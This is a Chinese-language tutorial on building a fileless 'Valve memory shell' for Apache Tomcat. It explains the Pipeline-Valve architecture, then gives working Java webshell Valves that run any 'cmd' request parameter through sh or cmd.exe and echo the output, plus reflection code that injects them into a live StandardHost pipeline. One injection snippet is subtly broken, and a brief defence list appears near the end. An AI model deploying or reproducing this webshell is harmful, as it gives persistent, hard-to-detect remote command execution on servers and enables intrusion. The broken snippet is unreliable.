擅长捉弄的内存马同学:Valve内存马
字数 1538 2025-08-11 23:05:55

Valve内存马技术深入解析与实现

一、Tomcat架构基础

1.1 Tomcat基本结构

Tomcat容器架构分为两个主要部分:

  • Connector:负责接收请求并封装Request和Response

    • 使用ProtocolHandler处理请求
    • 主要组件:
      • Acceptor:监听请求
      • AsyncTimeout:检查请求超时
      • Handler:处理接收到的Socket
      • Processor:封装Tomcat Request
      • Adapter:将Tomcat Request封装为ServletRequest
  • Container:处理请求的核心组件

    • 使用Pipeline-Valve机制处理请求
    • 包含四个标准容器:
      • StandardEngine
      • StandardHost
      • StandardContext
      • StandardWrapper
    • 每个容器都有一个Pipeline和多个Valve

1.2 请求处理流程

  1. Connector接收请求并封装
  2. Adapter将请求交给Container
  3. EnginePipeline开始处理
  4. 依次通过各层Pipeline
  5. 到达StandardWrapperValve
  6. 创建FilterChain并调用doFilter方法
  7. 依次调用Filter的doFilter方法和Servlet的service方法

二、Valve机制详解

2.1 Valve基础概念

  • Valve:像阀门一样控制管道中的请求流
  • Pipeline-Valve机制:Tomcat处理请求的核心模式
  • 标准Valve
    • StandardEngineValve
    • StandardHostValve
    • StandardContextValve
    • StandardWrapperValve

2.2 Valve接口关键方法

public interface Valve {
    public Valve getNext();          // 获取上一个节点
    public void setNext(Valve valve); // 设置上一个节点
    public void invoke(Request request, Response response); // 逻辑处理
    public boolean isAsyncSupported(); // 是否支持异步
}

2.3 Valve实现方式

  1. 直接实现Valve接口(不推荐)

    • 需要手动处理调用链
    • 容易导致请求中断
  2. 继承ValveBase类(推荐)

    • 提供了基础实现
    • 简化了Valve开发

三、Valve加载流程

3.1 Tomcat启动流程

  1. Bootstrap.main()入口
  2. 实例化并初始化
  3. 调用daemon的load()和start()
  4. Catalina.load()初始化
  5. Digester解析server.xml
  6. 组件实例化

3.2 Valve加载关键步骤

  1. 解析server.xml中的/Host/Valve节点
  2. 触发addValve方法
  3. 执行ContainerBase.addValve()
  4. 最终调用StandardPipeline.addValve()
  5. 设置valve的next引用,形成调用链

四、Valve内存马实现

4.1 实现思路

  1. 构造恶意Valve
  2. 通过线程获取Standard容器
  3. 获取容器的Pipeline
  4. 添加自定义Valve
  5. 确保调用getNext().invoke()保持业务正常

4.2 关键代码实现

// 恶意Valve实现
public class EvilValve extends ValveBase {
    @Override
    public void invoke(Request request, Response response) {
        // 恶意代码逻辑
        String cmd = request.getParameter("cmd");
        if (cmd != null) {
            try {
                Runtime.getRuntime().exec(cmd);
            } catch (Exception e) {
                e.printStackTrace();
            }
        }
        // 保持调用链
        this.getNext().invoke(request, response);
    }
}

// 注入代码
Thread.currentThread().getContextClassLoader()
    .loadClass("org.apache.catalina.core.StandardHost")
    .getMethod("getPipeline")
    .invoke(standardHost)
    .getMethod("addValve", Valve.class)
    .invoke(pipeline, new EvilValve());

4.3 注入流程

  1. 获取当前线程上下文
  2. 反射获取StandardHost实例
  3. 获取Pipeline对象
  4. 调用addValve方法注入恶意Valve
  5. 确保不影响正常业务逻辑

五、防御措施

  1. 监控Tomcat中非标准Valve的添加
  2. 定期检查server.xml配置文件
  3. 使用安全管理器限制反射调用
  4. 实施最小权限原则
  5. 定期更新Tomcat版本

六、技术要点总结

  1. Valve内存马利用了Tomcat的Pipeline-Valve机制
  2. 通过反射动态注入恶意Valve实现持久化
  3. 需要保持调用链完整以避免业务中断
  4. 相比Filter内存马更底层,更难检测
  5. 理解Tomcat架构是开发高级内存马的基础

附录:参考实现

完整Valve内存马实现示例:

import org.apache.catalina.Valve;
import org.apache.catalina.connector.Request;
import org.apache.catalina.connector.Response;
import org.apache.catalina.valves.ValveBase;

import javax.servlet.ServletException;
import java.io.IOException;
import java.io.InputStream;
import java.util.Scanner;

public class MemShellValve extends ValveBase {
    @Override
    public void invoke(Request request, Response response) throws IOException, ServletException {
        String cmd = request.getParameter("cmd");
        if (cmd != null) {
            boolean isLinux = true;
            String osTyp = System.getProperty("os.name");
            if (osTyp != null && osTyp.toLowerCase().contains("win")) {
                isLinux = false;
            }
            String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
            InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
            Scanner s = new Scanner(in).useDelimiter("\\A");
            String output = s.hasNext() ? s.next() : "";
            response.getWriter().write(output);
            return;
        }
        this.getNext().invoke(request, response);
    }
}

注入代码:

Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardHost host = (StandardHost) req.getContext().getParent().getParent();
host.getPipeline().addValve(new MemShellValve());
Valve内存马技术深入解析与实现 一、Tomcat架构基础 1.1 Tomcat基本结构 Tomcat容器架构分为两个主要部分: Connector :负责接收请求并封装Request和Response 使用ProtocolHandler处理请求 主要组件: Acceptor:监听请求 AsyncTimeout:检查请求超时 Handler:处理接收到的Socket Processor:封装Tomcat Request Adapter:将Tomcat Request封装为ServletRequest Container :处理请求的核心组件 使用Pipeline-Valve机制处理请求 包含四个标准容器: StandardEngine StandardHost StandardContext StandardWrapper 每个容器都有一个Pipeline和多个Valve 1.2 请求处理流程 Connector接收请求并封装 Adapter将请求交给Container EnginePipeline开始处理 依次通过各层Pipeline 到达StandardWrapperValve 创建FilterChain并调用doFilter方法 依次调用Filter的doFilter方法和Servlet的service方法 二、Valve机制详解 2.1 Valve基础概念 Valve :像阀门一样控制管道中的请求流 Pipeline-Valve机制 :Tomcat处理请求的核心模式 标准Valve : StandardEngineValve StandardHostValve StandardContextValve StandardWrapperValve 2.2 Valve接口关键方法 2.3 Valve实现方式 直接实现Valve接口(不推荐) 需要手动处理调用链 容易导致请求中断 继承ValveBase类(推荐) 提供了基础实现 简化了Valve开发 三、Valve加载流程 3.1 Tomcat启动流程 Bootstrap.main()入口 实例化并初始化 调用daemon的load()和start() Catalina.load()初始化 Digester解析server.xml 组件实例化 3.2 Valve加载关键步骤 解析server.xml中的/Host/Valve节点 触发addValve方法 执行ContainerBase.addValve() 最终调用StandardPipeline.addValve() 设置valve的next引用,形成调用链 四、Valve内存马实现 4.1 实现思路 构造恶意Valve 通过线程获取Standard容器 获取容器的Pipeline 添加自定义Valve 确保调用getNext().invoke()保持业务正常 4.2 关键代码实现 4.3 注入流程 获取当前线程上下文 反射获取StandardHost实例 获取Pipeline对象 调用addValve方法注入恶意Valve 确保不影响正常业务逻辑 五、防御措施 监控Tomcat中非标准Valve的添加 定期检查server.xml配置文件 使用安全管理器限制反射调用 实施最小权限原则 定期更新Tomcat版本 六、技术要点总结 Valve内存马利用了Tomcat的Pipeline-Valve机制 通过反射动态注入恶意Valve实现持久化 需要保持调用链完整以避免业务中断 相比Filter内存马更底层,更难检测 理解Tomcat架构是开发高级内存马的基础 附录:参考实现 完整Valve内存马实现示例: 注入代码: